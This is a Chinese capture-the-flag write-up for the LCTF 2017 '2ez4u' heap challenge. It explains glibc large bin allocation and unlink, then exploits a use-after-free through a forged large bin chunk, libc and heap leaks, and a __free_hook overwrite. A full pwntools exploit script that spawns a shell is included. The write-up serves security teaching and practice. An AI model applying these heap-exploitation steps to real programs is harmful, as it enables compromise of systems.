Large bin attack--LCTF2017-2ez4u--writeup
技巧性很强的一道题,当时自己写的思路和官方的不一样,后面看着官方的wp看了半天才把思路看懂。
large bin 分配的过程
这道题很关键的一个点在于伪造large bin chunk,并将该chunk分配出来,从而实现空间复用,所以先解释下large bin分配的过程,源代码如下:
/*
If a large request, scan through the chunks of current bin in
sorted order to find smallest that fits. Use the skip list for this.
*/
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
/* skip scan if empty or largest chunk is too small */
if ((victim = first (bin)) != bin && //获取链表的第一个chunk
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
victim = victim->bk_nextsize; //反向遍历,chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;
remainder_size = size - nb;
unlink (av, victim, bck, fwd); //large bin的unlink操作
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
有关堆的管理与结构不多说,需要强调下的是,large bin数组里的不再是存储大小一样chunk,而是可以存储等差数列变化的chunk块。large bin chunk结构体中的fd_nextsize和bk_nextsize俩个字段是有意义的,large bins中空闲chunk是按照大小排序的,但同一个大小的chunk可能有多个,增加这俩个字段可以加快遍历空闲chunk,fd_nextsize指向下一个比当前chunk大小大的第一个空闲块,bk_nextsize指向前一个比当前chunk大小小的第一个空闲chunk。
总结下large bin chunk分配的过程,查询对应的large bin链表,不为空的话,反向遍历,chunk size链表直到找到第一个大于等于所需chunk大小的chunk退出循环。找到合适的chunk之后,使用unlink将该块分配出来,并设置好相应的结构。
还需要看下unlink的代码,之前做的相关题目都是small bin的unlink,对于large bin之前也都没注意,从代码中可以看到,就是多了fd_nextsize和bk_nextsize俩个位置的检查,原理和fd和bk的检查一致。
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
2ez4u
题目是经典的菜单题,有创建、编辑、删除、打印四个功能。
漏洞是UAF漏洞,即在删除堆块后并没有将存储指针的全局变量清空,还能够重复的编辑,如何使用这一点拿到shell就是这道题的考点。
思路
泄露地址
题目的第一个难点在于泄露地址,程序本身还开启了PIE,由于打印的时候,打印的位置是从分配堆块的0x18的位置开始打印的,而正常堆块的fd与bk俩个指针在前0x10字节,想要通过常规的利用这俩个字段泄露地址好像有点难度,此时就想要了前面提到过的fd_nextsize和bk_nextsize这俩个字段。所以就想办法通过large bin来实现攻击。
首先泄露堆地址,构造俩个large bin chunk,大小在同一个bins中,将其释放后,此时俩个chunk会被释放到unsorted bin中,再申请一个大小大于这俩个chunk的块,此时这俩个chunk会被放到相应的large bin中,同时fd_nextsize与bk_nextsize会被赋值,再利用UAF打印即可得到堆块地址。
伪造large bin chunk
在泄露堆地址后,接下来需要泄露libc地址,根据官方的wp,使用的方法是伪造large bin chunk,我觉得神奇的地方在于不需要将伪造的堆块释放,而是修改之前被释放堆块的bk_nextsize字段即可,对应到源代码中代码即victim = victim->bk_nextsize
,这一点使用UAF即可做到,但想要将该堆块申请出来,还需要绕过unlink的限制,这也可以通过UAF实现。在可以将伪造的堆块申请出来之后,我们可以在伪造的堆块中包含有正常的small bin,这样就可以达到泄露出libc地址以及修改内存的目的。
覆盖__free_hook指针
可以利用刚刚伪造的堆块包含fastbin,接下来只需要覆盖fastbin的fd指针,就可以构造合适的chunk,使得将main_arena的top指针覆盖为free_hook的上面一些的地址。
这一点对于我来说是个新姿势,学到了。具体来说,首先使用修改fastbin fd的方式,将main_arena的fastbin数组的一个指针修改为0x60,这样就获得了在申请fastbin时需要绕过检查的size位,接着将另一个数组的相应fd指向为main_arena合适的位置,即可将top指针上放的指针当作chunk申请出来,从而实现将top指针修改为__free_hook上方的位置,再接着就是多申请几次,将hook指针覆盖为system函数地址即可。
exploit
exploit如下,是官方的wp,加了一些注释:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import c_uint32
#context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
#context.log_level = 'DEBUG'
#io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
io = process("./2ez4u")
EXEC = 0x0000555555554000
def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)
pass
def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
pass
def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)
pass
def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
pass
add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )
dele(0x9) ##释放第一个大块
dele(0xb) ##释放第二个大块
dele(0x0)
gdb.attach(io)
add(0x400, '0'*0x400) #申请一个较大的块,使得unsorted bin数组清空
# leak
show(0xb) ##泄露得到堆地址
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim ##修改victim = victim->bk_nextsize,伪造堆块开始
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target ##这一步是为了绕过unlink的fd与bk检查
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) ##这一步是为了绕过fd_nextsize与bk_nextsize检查
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr) ##伪造的堆块
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411)) ##伪造的堆块后加上结构体。
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!! ##将伪造的堆块申请出来,从此便可为所欲为。。。
add(0x60, '6'*0x60 ) #
show(0x3) ##伪造的堆块中包含small bin,泄露libc地址
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158 ##修改fd为0x60
add(0x60, '4'*0x60 ) #
recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
dele(0x5)
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158 ##修改fd指向为main_arena的fastbin数组位置
add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50)) # 修改top指针指向__free_hook的上方
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) #
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) # 修改__free_hook为system地址
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
dele(15)
io.interactive()
结语
新姿势,向大佬学习。
链接
LCTF 2017 官方Writeup
exp
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界